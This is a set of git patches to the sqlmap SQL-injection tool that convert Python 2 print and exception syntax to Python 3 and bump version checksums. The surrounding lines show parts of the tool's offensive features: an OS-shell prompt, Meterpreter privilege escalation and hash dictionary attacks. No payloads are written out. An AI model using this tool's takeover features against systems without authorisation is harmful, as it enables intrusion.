+++++++++++++-------------- waf/asm.py | 2 - waf/securesphere.py | 1 - 29 files changed, 140 insertions(+), 116 deletions(-) diff --git a/extra/cloak/cloak.py b/extra/cloak/cloak.py index 79d42dba03b..4883342c831 100644 --- a/extra/cloak/cloak.py +++ b/extra/cloak/cloak.py @@ -7,6 +7,8 @@ See the file 'LICENSE' for copying permission """ +from __future__ import print_function + import os import sys import zlib @@ -38,7 +40,7 @@ def decloak(inputFile=None, data=None): try: data = zlib.decompress(hideAscii(data)) except: - print 'ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile + print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile) sys.exit(1) finally: f.close() @@ -63,7 +65,7 @@ def main(): parser.error(e) if not os.path.isfile(args.inputFile): - print 'ERROR: the provided input file \'%s\' is non existent' % args.inputFile + print('ERROR: the provided input file \'%s\' is non existent' % args.inputFile) sys.exit(1) if not args.decrypt: diff --git a/extra/dbgtool/dbgtool.py b/extra/dbgtool/dbgtool.py index fa65d448bb7..72403b2fd28 100644 --- a/extra/dbgtool/dbgtool.py +++ b/extra/dbgtool/dbgtool.py @@ -7,6 +7,8 @@ See the file 'LICENSE' for copying permission """ +from __future__ import print_function + import os import sys import struct @@ -19,7 +21,7 @@ def convert(inputFile): fileSize = fileStat.st_size if fileSize > 65280: - print "ERROR: the provided input file '%s' is too big for debug.exe" % inputFile + print("ERROR: the provided input file '%s' is too big for debug.exe" % inputFile) sys.exit(1) script = "n %s\nr cx\n" % os.path.basename(inputFile.replace(".", "_")) @@ -59,7 +61,7 @@ def convert(inputFile): def main(inputFile, outputFile): if not os.path.isfile(inputFile): - print "ERROR: the provided input file '%s' is not a regular file" % inputFile + print("ERROR: the provided input file '%s' is not a regular file" % inputFile) sys.exit(1) script = convert(inputFile) @@ -70,7 +72,7 @@ def main(inputFile, outputFile): sys.stdout.write(script) sys.stdout.close() else: - print script + print(script) if __name__ == "__main__": usage = "%s -i [-o ]" % sys.argv[0] diff --git a/extra/safe2bin/safe2bin.py b/extra/safe2bin/safe2bin.py index c426c124be5..6811a1e7151 100644 --- a/extra/safe2bin/safe2bin.py +++ b/extra/safe2bin/safe2bin.py @@ -7,6 +7,8 @@ See the file 'LICENSE' for copying permission """ +from __future__ import print_function + import binascii import re import string @@ -112,7 +114,7 @@ def main(): parser.error(e) if not os.path.isfile(args.inputFile): - print 'ERROR: the provided input file \'%s\' is not a regular file' % args.inputFile + print('ERROR: the provided input file \'%s\' is not a regular file' % args.inputFile) sys.exit(1) f = open(args.inputFile, 'r') diff --git a/extra/shutils/duplicates.py b/extra/shutils/duplicates.py index e56c96cbe5d..b5431af4f8b 100755 --- a/extra/shutils/duplicates.py +++ b/extra/shutils/duplicates.py @@ -5,6 +5,8 @@ # Removes duplicate entries in wordlist like files +from __future__ import print_function + import sys if len(sys.argv) > 0: @@ -17,7 +19,7 @@ str.encode(item) if item in items: if item: - print item + print(item) else: items.append(item) except: diff --git a/extra/shutils/newlines.py b/extra/shutils/newlines.py index c506e5f4808..63a557a1f59 100644 --- a/extra/shutils/newlines.py +++ b/extra/shutils/newlines.py @@ -3,6 +3,8 @@ # Runs pylint on all python scripts found in a directory tree # Reference: http://rowinggolfer.blogspot.com/2009/08/pylint-recursively.html +from __future__ import print_function + import os import sys @@ -12,16 +14,16 @@ def check(filepath): if "\n\n\n" in content: index = content.find("\n\n\n") - print filepath, repr(content[index - 30:index + 30]) + print(filepath, repr(content[index - 30:index + 30])) if __name__ == "__main__": try: BASE_DIRECTORY = sys.argv[1] except IndexError: - print "no directory specified, defaulting to current working directory" + print("no directory specified, defaulting to current working directory") BASE_DIRECTORY = os.getcwd() - print "looking for *.py scripts in subdirectories of ", BASE_DIRECTORY + print("looking for *.py scripts in subdirectories of '%s'" % BASE_DIRECTORY) for root, dirs, files in os.walk(BASE_DIRECTORY): if any(_ in root for _ in ("extra", "thirdparty")): continue diff --git a/extra/shutils/pylint.py b/extra/shutils/pylint.py index e6b4753510a..cec5321b2fb 100755 --- a/extra/shutils/pylint.py +++ b/extra/shutils/pylint.py @@ -3,6 +3,8 @@ # Runs pylint on all python scripts found in a directory tree # Reference: http://rowinggolfer.blogspot.com/2009/08/pylint-recursively.html +from __future__ import print_function + import os import re import sys @@ -17,26 +19,26 @@ def check(module): if module[-3:] == ".py": - print "CHECKING ", module + print("CHECKING ", module) pout = os.popen("pylint --rcfile=/dev/null %s" % module, 'r') for line in pout: if re.match(r"\AE:", line): - print line.strip() + print(line.strip()) if __RATING__ and "Your code has been rated at" in line: - print line + print(line) score = re.findall(r"\d.\d\d", line)[0] total += float(score) count += 1 if __name__ == "__main__": try: - print sys.argv + print(sys.argv) BASE_DIRECTORY = sys.argv[1] except IndexError: - print "no directory specified, defaulting to current working directory" + print("no directory specified, defaulting to current working directory") BASE_DIRECTORY = os.getcwd() - print "looking for *.py scripts in subdirectories of ", BASE_DIRECTORY + print("looking for *.py scripts in subdirectories of ", BASE_DIRECTORY) for root, dirs, files in os.walk(BASE_DIRECTORY): if any(_ in root for _ in ("extra", "thirdparty")): continue @@ -45,6 +47,6 @@ def check(module): check(filepath) if __RATING__: - print "==" * 50 - print "%d modules found" % count - print "AVERAGE SCORE = %.02f" % (total / count) + print("==" * 50) + print("%d modules found" % count) + print("AVERAGE SCORE = %.02f" % (total / count)) diff --git a/extra/shutils/regressiontest.py b/extra/shutils/regressiontest.py index 9a8ecde597b..e4e920571b8 100755 --- a/extra/shutils/regressiontest.py +++ b/extra/shutils/regressiontest.py @@ -3,6 +3,8 @@ # Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission +from __future__ import print_function + import codecs import inspect import os @@ -56,8 +58,8 @@ def send_email(msg): s.sendmail(FROM, TO, msg.as_string()) s.quit() # Catch all for SMTP exceptions - except smtplib.SMTPException, e: - print "Failure to send email: %s" % str(e) + except smtplib.SMTPException as ex: + print("Failure to send email: '%s" % ex) def failure_email(msg): msg = prepare_email(msg) @@ -157,7 +159,7 @@ def main(): try: main() - except Exception, e: + except Exception: log_fd.write("An exception has occurred:\n%s" % str(traceback.format_exc())) log_fd.write("Regression test finished at %s\n\n" % time.strftime("%H:%M:%S %d-%m-%Y", time.gmtime())) diff --git a/extra/sqlharvest/sqlharvest.py b/extra/sqlharvest/sqlharvest.py index 21ec3291cfd..42810fa714c 100644 --- a/extra/sqlharvest/sqlharvest.py +++ b/extra/sqlharvest/sqlharvest.py @@ -5,6 +5,8 @@ See the file 'LICENSE' for copying permission """ +from __future__ import print_function + import cookielib import re import socket @@ -75,8 +77,8 @@ def main(): except KeyboardInterrupt: raise - except Exception, msg: - print msg + except Exception as ex: + print(ex) if abort: break @@ -86,7 +88,7 @@ def main(): sys.stdout.write("---------------\n") for sqlfile in files: - print sqlfile + print(sqlfile) try: req = urllib2.Request(sqlfile) @@ -118,8 +120,8 @@ def main(): except KeyboardInterrupt: raise - except Exception, msg: - print msg + except Exception as ex: + print(ex) else: i += 1 diff --git a/extra/wafdetectify/wafdetectify.py b/extra/wafdetectify/wafdetectify.py index c51b4f1cb77..ba269a63136 100755 --- a/extra/wafdetectify/wafdetectify.py +++ b/extra/wafdetectify/wafdetectify.py @@ -5,6 +5,8 @@ See the file 'LICENSE' for copying permission """ +from __future__ import print_function + import cookielib import glob import httplib @@ -68,7 +70,7 @@ def colorize(message): def main(): global WAF_FUNCTIONS - print colorize("%s #v%s\n by: %s\n" % (NAME, VERSION, AUTHOR)) + print(colorize("%s #v%s\n by: %s\n" % (NAME, VERSION, AUTHOR))) if len(sys.argv) < 2: exit(colorize("[x] usage: python %s " % os.path.split(__file__)[-1])) @@ -104,13 +106,13 @@ def main(): WAF_FUNCTIONS = sorted(WAF_FUNCTIONS, key=lambda _: "generic" in _[1].lower()) - print colorize("[i] checking '%s'..." % sys.argv[1]) + print(colorize("[i] checking '%s'..." % sys.argv[1])) hostname = sys.argv[1].split("//")[-1].split('/')[0] try: socket.getaddrinfo(hostname, None) except socket.gaierror: - print colorize("[x] host '%s' does not exist" % hostname) + print(colorize("[x] host '%s' does not exist" % hostname)) exit(1) found = False @@ -122,7 +124,7 @@ def main(): exit(colorize("[!] WAF/IPS identified as '%s'" % product)) if not found: - print colorize("[o] nothing found") + print(colorize("[o] nothing found")) print diff --git a/lib/controller/checks.py b/lib/controller/checks.py index da836099aaa..672de3e1488 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -627,10 +627,10 @@ def genCmpPayload(): injectable = True - except SqlmapConnectionException, msg: + except SqlmapConnectionException as ex: debugMsg = "problem occurred most likely because the " debugMsg += "server hasn't recovered as expected from the " - debugMsg += "error-based payload used ('%s')" % msg + debugMsg += "error-based payload used ('%s')" % getSafeExString(ex) logger.debug(debugMsg) # In case of time-based blind or stacked queries diff --git a/lib/core/common.py b/lib/core/common.py index c6c06295236..3f11d20492e 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4746,6 +4746,8 @@ def getSafeExString(ex, encoding=None): retVal = ex.msg elif isinstance(ex, (list, tuple)) and len(ex) > 1 and isinstance(ex[1], basestring): retVal = ex[1] + elif isinstance(ex, (list, tuple)) and len(ex) > 0 and isinstance(ex[0], basestring): + retVal = ex[0] return getUnicode(retVal or "", encoding=encoding).strip() diff --git a/lib/core/dump.py b/lib/core/dump.py index ed468b33e90..f7bf54a270c 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -624,8 +624,8 @@ def dbTableValues(self, tableValues): with open(filepath, "wb") as f: _ = safechardecode(value, True) f.write(_) - except magic.MagicException, err: - logger.debug(str(err)) + except magic.MagicException as ex: + logger.debug(getSafeExString(ex)) if conf.dumpFormat == DUMP_FORMAT.CSV: if field == fields: diff --git a/lib/core/settings.py b/lib/core/settings.py index 69dc0e27f4f..3354c5b736a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.60" +VERSION = "1.3.1.61" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/target.py b/lib/core/target.py index 5a6c47f47e9..91bbe754c65 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -646,7 +646,7 @@ def _createTargetDirs(): except (OSError, IOError) as ex: try: tempDir = tempfile.mkdtemp(prefix="sqlmap%s" % context) - except Exception, _: + except Exception as _: errMsg = "unable to write to the temporary directory ('%s'). " % _ errMsg += "Please make sure that your disk is not full and " errMsg += "that you have sufficient write permissions to " @@ -668,7 +668,7 @@ def _createTargetDirs(): except (OSError, IOError, TypeError) as ex: try: tempDir = tempfile.mkdtemp(prefix="sqlmapoutput") - except Exception, _: + except Exception as _: errMsg = "unable to write to the temporary directory ('%s'). " % _ errMsg += "Please make sure that your disk is not full and " errMsg += "that you have sufficient write permissions to " @@ -767,4 +767,4 @@ def setupTargetEnv(): _resumeHashDBValues() _setResultsFile() _setAuthCred() - _setAuxOptions() \ No newline at end of file + _setAuxOptions() diff --git a/lib/core/testing.py b/lib/core/testing.py index 87ff3a673c8..030f58f396a 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -75,10 +75,10 @@ def smokeTest(): try: __import__(path) module = sys.modules[path] - except Exception, msg: + except Exception as ex: retVal = False dataToStdout("\r") - errMsg = "smoke test failed at importing module '%s' (%s):\n%s" % (path, os.path.join(root, filename), msg) + errMsg = "smoke test failed at importing module '%s' (%s):\n%s" % (path, os.path.join(root, filename), ex) logger.error(errMsg) else: # Run doc tests @@ -275,10 +275,10 @@ def runCase(parse): result = start() except KeyboardInterrupt: pass - except SqlmapBaseException, e: - handled_exception = e - except Exception, e: - unhandled_exception = e + except SqlmapBaseException as ex: + handled_exception = ex + except Exception as ex: + unhandled_exception = ex finally: sys.stdout.seek(0) console = sys.stdout.read() diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 669985bc2c2..256b39ab147 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -5,6 +5,8 @@ See the file 'LICENSE' for copying permission """ +from __future__ import print_function + import os import re import shlex @@ -842,7 +844,7 @@ def _(self, *args): argv[i] = argv[i][:-1] conf.skipThreadCheck = True elif argv[i] == "--version": - print VERSION_STRING.split('/')[-1] + print(VERSION_STRING.split('/')[-1]) raise SystemExit elif argv[i] in ("-h", "--help"): advancedHelp = False diff --git a/lib/request/basic.py b/lib/request/basic.py index 5452ea99c0e..acdd29f106b 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -17,6 +17,7 @@ from lib.core.common import extractErrorMessage from lib.core.common import extractRegexResult from lib.core.common import getPublicTypeMembers +from lib.core.common import getSafeExString from lib.core.common import getUnicode from lib.core.common import isListLike from lib.core.common import randomStr @@ -280,10 +281,10 @@ def decodePage(page, contentEncoding, contentType): raise Exception("size too large") page = data.read() - except Exception, msg: + except Exception as ex: if " Date: Tue, 22 Jan 2019 01:28:24 +0100 Subject: [PATCH 063/800] Baby steps --- extra/wafdetectify/wafdetectify.py | 2 +- lib/core/settings.py | 2 +- lib/core/threads.py | 8 +++++--- lib/parse/cmdline.py | 2 +- lib/request/inject.py | 4 +++- lib/takeover/abstraction.py | 6 ++++-- lib/takeover/metasploit.py | 4 +++- lib/techniques/error/use.py | 4 +++- lib/utils/api.py | 4 +++- lib/utils/hash.py | 6 ++++-- plugins/generic/custom.py | 6 ++++-- sqlmap.py | 12 +++++++----- txt/checksum.md5 | 24 ++++++++++++------------ 13 files changed, 51 insertions(+), 33 deletions(-) diff --git a/extra/wafdetectify/wafdetectify.py b/extra/wafdetectify/wafdetectify.py index ba269a63136..1c813553631 100755 --- a/extra/wafdetectify/wafdetectify.py +++ b/extra/wafdetectify/wafdetectify.py @@ -126,7 +126,7 @@ def main(): if not found: print(colorize("[o] nothing found")) - print + print() exit(int(not found)) diff --git a/lib/core/settings.py b/lib/core/settings.py index 3354c5b736a..6b0d761170b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.61" +VERSION = "1.3.1.62" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/threads.py b/lib/core/threads.py index d27cc259cd7..a9e4a4c96cf 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -5,6 +5,8 @@ See the file 'LICENSE' for copying permission """ +from __future__ import print_function + import difflib import random import threading @@ -167,7 +169,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio time.sleep(0.1) except (KeyboardInterrupt, SqlmapUserQuitException) as ex: - print + print() kb.prependFlag = False kb.threadContinue = False kb.threadException = True @@ -185,7 +187,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio raise except (SqlmapConnectionException, SqlmapValueException) as ex: - print + print() kb.threadException = True logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message)) @@ -195,7 +197,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio except: from lib.core.common import unhandledExceptionMessage - print + print() kb.threadException = True errMsg = unhandledExceptionMessage() logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg)) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 256b39ab147..3b81f98e260 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -794,7 +794,7 @@ def _(self, *args): command = raw_input("sqlmap-shell> ").strip() command = getUnicode(command, encoding=sys.stdin.encoding) except (KeyboardInterrupt, EOFError): - print + print() raise SqlmapShellQuitException if not command: diff --git a/lib/request/inject.py b/lib/request/inject.py index 38fe6da5b8c..fab1a205fc1 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -5,6 +5,8 @@ See the file 'LICENSE' for copying permission """ +from __future__ import print_function + import re import time @@ -277,7 +279,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char raise SqlmapDataException(errMsg) except KeyboardInterrupt: - print + print() warnMsg = "user aborted during dumping phase" logger.warn(warnMsg) diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index 81db1bcb5f9..349df3e24e6 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -5,6 +5,8 @@ See the file 'LICENSE' for copying permission """ +from __future__ import print_function + import sys from extra.safe2bin.safe2bin import safechardecode @@ -129,11 +131,11 @@ def shell(self): command = raw_input("os-shell> ") command = getUnicode(command, encoding=sys.stdin.encoding) except KeyboardInterrupt: - print + print() errMsg = "user aborted" logger.error(errMsg) except EOFError: - print + print() errMsg = "exit" logger.error(errMsg) break diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index d42747b54c4..c248a714fa9 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -5,6 +5,8 @@ See the file 'LICENSE' for copying permission """ +from __future__ import print_function + import os import re import select @@ -483,7 +485,7 @@ def _loadMetExtensions(self, proc, metSess): send_all(proc, "getuid\n") if conf.privEsc: - print + print() infoMsg = "trying to escalate privileges using Meterpreter " infoMsg += "'getsystem' command which tries different " diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index f6ded61f17d..8b878bc9a54 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -5,6 +5,8 @@ See the file 'LICENSE' for copying permission """ +from __future__ import print_function + import re import time @@ -242,7 +244,7 @@ def _errorFields(expression, expressionFields, expressionFieldsList, num=None, e if not suppressOutput: if kb.fileReadMode and output and output.strip(): - print + print() elif output is not None and not (threadData.resumed and kb.suppressResumeInfo) and not (emptyFields and field in emptyFields): status = "[%s] [INFO] %s: '%s'" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", output if kb.safeCharEncode else safecharencode(output)) diff --git a/lib/utils/api.py b/lib/utils/api.py index ec1dceeaaa9..fd8ce85dffc 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -6,6 +6,8 @@ See the file 'LICENSE' for copying permission """ +from __future__ import print_function + import contextlib import httplib import logging @@ -762,7 +764,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non command = raw_input("api%s> " % (" (%s)" % taskid if taskid else "")).strip() command = re.sub(r"\A(\w+)", lambda match: match.group(1).lower(), command) except (EOFError, KeyboardInterrupt): - print + print() break if command in ("data", "log", "status", "stop", "kill"): diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 2631a749aa3..9871fd9b09f 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -5,6 +5,8 @@ See the file 'LICENSE' for copying permission """ +from __future__ import print_function + try: from crypt import crypt except: # removed ImportError because of https://github.com/sqlmapproject/sqlmap/issues/3171 @@ -1061,7 +1063,7 @@ def dictionaryAttack(attack_dict): _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, 0, 1, kb.wordlists, custom_wordlist, conf.api) except KeyboardInterrupt: - print + print() processException = True warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)" logger.warn(warnMsg) @@ -1157,7 +1159,7 @@ class Value(): found = found_.value except KeyboardInterrupt: - print + print() processException = True warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)" logger.warn(warnMsg) diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py index dc49e5a505b..929fc2f9add 100644 --- a/plugins/generic/custom.py +++ b/plugins/generic/custom.py @@ -5,6 +5,8 @@ See the file 'LICENSE' for copying permission """ +from __future__ import print_function + import re import sys @@ -90,11 +92,11 @@ def sqlShell(self): query = getUnicode(query, encoding=sys.stdin.encoding) query = query.strip("; ") except KeyboardInterrupt: - print + print() errMsg = "user aborted" logger.error(errMsg) except EOFError: - print + print() errMsg = "exit" logger.error(errMsg) break diff --git a/sqlmap.py b/sqlmap.py index b13d8c12e22..e2164173284 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -5,6 +5,8 @@ See the file 'LICENSE' for copying permission """ +from __future__ import print_function + try: import sys @@ -188,10 +190,10 @@ def main(): raise SystemExit except KeyboardInterrupt: - print + print() except EOFError: - print + print() errMsg = "exit" logger.error(errMsg) @@ -200,7 +202,7 @@ def main(): pass except: - print + print() errMsg = unhandledExceptionMessage() excMsg = traceback.format_exc() valid = checkIntegrity() @@ -210,13 +212,13 @@ def main(): errMsg += "You should retrieve the latest development version from official GitHub " errMsg += "repository at '%s'" % GIT_PAGE logger.critical(errMsg) - print + print() dataToStdout(excMsg) raise SystemExit elif any(_ in excMsg for _ in ("tamper/", "waf/")): logger.critical(errMsg) - print + print() dataToStdout(excMsg) raise SystemExit diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 8083b8dd781..67ed787d639 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -21,7 +21,7 @@ a32e12410e0f86c1d035db6daae84680 extra/shutils/duplicates.py fb6be55d21a70765e35549af2484f762 extra/sqlharvest/__init__.py 4f82e97b09cc530cb9a92472d0835cea extra/sqlharvest/sqlharvest.py fb6be55d21a70765e35549af2484f762 extra/wafdetectify/__init__.py -e0581096d2890506878e9b424e4e1001 extra/wafdetectify/wafdetectify.py +d62ae3224aca6a9496b35583db61412a extra/wafdetectify/wafdetectify.py ec782b9cdb8d857a80b6ecf0f32db7f4 lib/controller/action.py d099724a49c5fd6b0dca8c777e82604e lib/controller/checks.py c4d559a98cfc62b401ef7e0bfab782f0 lib/controller/controller.py @@ -49,18 +49,18 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -1d9c5cc98c251357da6eb91902d75c4d lib/core/settings.py +0013f0712973543735d356560295a047 lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py 072c08d834d01b33e5f39320dcf67a0d lib/core/target.py 7857b24b7865ccb4a05283faa596974d lib/core/testing.py -bf4bdec9b247a999f877a5e5d7daeb70 lib/core/threads.py +203d2082929b4ac5454605c8c7c800a9 lib/core/threads.py 2c263c8610667fdc593c50a35ab20f57 lib/core/unescaper.py ff45c74515fecc95277f7b9ad945f17c lib/core/update.py b40f4c20a38729bb4933b8221665f106 lib/core/wordlist.py fb6be55d21a70765e35549af2484f762 lib/__init__.py 4881480d0c1778053908904e04570dc3 lib/parse/banner.py -ff78461bf084b700b35c51c758685917 lib/parse/cmdline.py +f60469363c303b86255246e5a9604ba3 lib/parse/cmdline.py 06ccbccb63255c8f1c35950a4c8a6f6b lib/parse/configfile.py 9b33e52f697d6e915c7a10153562ce89 lib/parse/handler.py 43deb2400e269e602e916efaec7c0903 lib/parse/headers.py @@ -76,16 +76,16 @@ fc25d951217077fe655ed2a3a81552ae lib/request/comparison.py 2b7509ba38a667c61cefff036ec4ca6f lib/request/dns.py ceac6b3bf1f726f8ff43c6814e9d7281 lib/request/httpshandler.py fb6be55d21a70765e35549af2484f762 lib/request/__init__.py -00720f9eddf42f4fefa083fba40f69ed lib/request/inject.py +338f39808f63af8d4f4afe9e7b0665a2 lib/request/inject.py 52a067bd2fe91ea9395269a684380cbb lib/request/methodrequest.py ac482ec52227daf48f523827dd67078f lib/request/pkihandler.py 16ff6e078819fe517b1fc0ae3cbc1aa8 lib/request/rangehandler.py db4dc98d03d1865cc6266a79cd5c81b7 lib/request/redirecthandler.py 1e60edebdb3997055616d12f4a932375 lib/request/templates.py -d0059dbb1e928871747a8893b41ce268 lib/takeover/abstraction.py +eafa28e4beb2b7492dfc8036033ac824 lib/takeover/abstraction.py ac9efea51eba120b667b4b73536d7f1c lib/takeover/icmpsh.py fb6be55d21a70765e35549af2484f762 lib/takeover/__init__.py -093301eaeac3cd19374f2e389e873b18 lib/takeover/metasploit.py +838002e763b071ed6dc334cabf4fffd9 lib/takeover/metasploit.py 6b5b841d445b7b973c2e033edfb01b16 lib/takeover/registry.py ad038ac567f97a4b940b7987792d64a4 lib/takeover/udf.py 915a3fbd557fb136bd0e16c46d993be3 lib/takeover/web.py @@ -96,19 +96,19 @@ fb6be55d21a70765e35549af2484f762 lib/techniques/dns/__init__.py ea48db4c48276d7d0e71aa467c0c523f lib/techniques/dns/test.py 437786cd2f9c3237614e3cac0220b2a6 lib/techniques/dns/use.py fb6be55d21a70765e35549af2484f762 lib/techniques/error/__init__.py -c23a6f8e88242c84b54426ae7cd430a1 lib/techniques/error/use.py +2c945522ce05c2a1204d1563ae64eff2 lib/techniques/error/use.py fb6be55d21a70765e35549af2484f762 lib/techniques/__init__.py fb6be55d21a70765e35549af2484f762 lib/techniques/union/__init__.py baa3946c23749d898f473dba0f4eecff lib/techniques/union/test.py d32988e13713417286ab83a00856858e lib/techniques/union/use.py -31d0ac4f92d4ffddf9936499829484cc lib/utils/api.py +78cd3133349e9cfdcc6b3512c7d5ce36 lib/utils/api.py 544dee96e782560fe4355cbf6ee19b8c lib/utils/brute.py b27421eb57cea711050135f84be99258 lib/utils/crawler.py da4bc159e6920f1f7e45c92c39941690 lib/utils/deps.py f7c64515a3e4fcfe8266ca2be77be565 lib/utils/getch.py 0d497906b06eb82d14da676e9f9c98f5 lib/utils/har.py d11f7f208ccf3a7753ccc417b4b01901 lib/utils/hashdb.py -9d9bd2896858ce0eabbb9a4ef1f5ca0e lib/utils/hash.py +4bcee9dd3300aaad495e7f27f9fbccc0 lib/utils/hash.py 17009289bb5c0dc0cceaa483113101e1 lib/utils/htmlentities.py fb6be55d21a70765e35549af2484f762 lib/utils/__init__.py 833b05c72c9fa60b0a25b0a26f8f31fb lib/utils/pivotdumptable.py @@ -212,7 +212,7 @@ d2391dfe74f053eb5f31b0efad3fdda0 plugins/dbms/sqlite/connector.py ec3f406591fc9472f5750bd40993e72e plugins/dbms/sybase/syntax.py 369476221b3059106410de05766227e0 plugins/dbms/sybase/takeover.py 312020bc31ffb0bc6077f62e6fff6e73 plugins/generic/connector.py -54ac71c46c67c81196e2e6707e0989cf plugins/generic/custom.py +1ea0b0e7aa15b7687e1b00845e33f9ab plugins/generic/custom.py a3fd48c7094fca6692be8b1ae5e29cea plugins/generic/databases.py 9c2c830b3cf66953ecffa6cf88fc7c14 plugins/generic/entries.py f3624debb8ae6fbcfb5f1b7f1d0743d1 plugins/generic/enumeration.py @@ -234,7 +234,7 @@ ec2ba8c757ac96425dcd2b97970edd3a shell/stagers/stager.asp_ 0c48ddb1feb7e38a951ef05a0d48e032 shell/stagers/stager.jsp_ 2f9e459a4cf6a58680978cdce5ff7971 shell/stagers/stager.php_ 41522f8ad02ac133ca0aeaab374c36a8 sqlmapapi.py -67607879bc78f039b9c9f3be6380d253 sqlmap.py +5cf6426651800869be0d4750b07b1b74 sqlmap.py 772fb3dd15edc9d4055ab9f9dee0c203 tamper/0x2char.py 3d89a5c4c33d4d1d9303f5e3bd11f0ae tamper/apostrophemask.py 1fd0eec63970728c1e6628b2e4c21d81 tamper/apostrophenullencode.py From 7074365f8e0ccc2403abdb60a4734a072dae409f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 22 Jan 2019 02:08:02 +0100 Subject: [PATCH 064/800] More refactoring like the last couple of commits --- extra/wafdetectify/wafdetectify.py | 4 +-- lib/core/common.py | 8 ++--- lib/core/dump.py | 2 +- lib/core/option.py | 10 +++---- lib/core/profiling.py | 5 ++-- lib/core/settings.py | 2 +- lib/core/shell.py | 9 +++--- lib/core/subprocessng.py | 16 +++++----- lib/core/target.py | 6 ++-- lib/parse/cmdline.py | 4 +-- lib/request/redirecthandler.py | 6 ++-- lib/utils/search.py | 16 +++++----- plugins/dbms/access/connector.py | 16 +++++----- plugins/dbms/db2/connector.py | 16 +++++----- plugins/dbms/informix/connector.py | 16 +++++----- plugins/dbms/mssqlserver/connector.py | 17 ++++++----- plugins/dbms/mysql/connector.py | 16 +++++----- plugins/dbms/oracle/connector.py | 17 ++++++----- plugins/dbms/postgresql/connector.py | 17 ++++++----- plugins/dbms/sqlite/connector.py | 19 ++++++------ plugins/dbms/sybase/connector.py | 17 ++++++----- txt/checksum.md5 | 42 +++++++++++++-------------- 22 files changed, 144 insertions(+), 137 deletions(-) diff --git a/extra/wafdetectify/wafdetectify.py b/extra/wafdetectify/wafdetectify.py index 1c813553631..2ceea92d0bf 100755 --- a/extra/wafdetectify/wafdetectify.py +++ b/extra/wafdetectify/wafdetectify.py @@ -95,8 +95,8 @@ def main(): if filename[:-3] in sys.modules: del sys.modules[filename[:-3]] module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or "utf8")) - except ImportError, msg: - exit(colorize("[x] cannot import WAF script '%s' (%s)" % (filename[:-3], msg))) + except ImportError as ex: + exit(colorize("[x] cannot import WAF script '%s' (%s)" % (filename[:-3], ex))) _ = dict(inspect.getmembers(module)) if "detect" not in _: diff --git a/lib/core/common.py b/lib/core/common.py index 3f11d20492e..298ae2117fc 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4409,9 +4409,9 @@ def resetCookieJar(cookieJar): errMsg = "no valid cookies found" raise SqlmapGenericException(errMsg) - 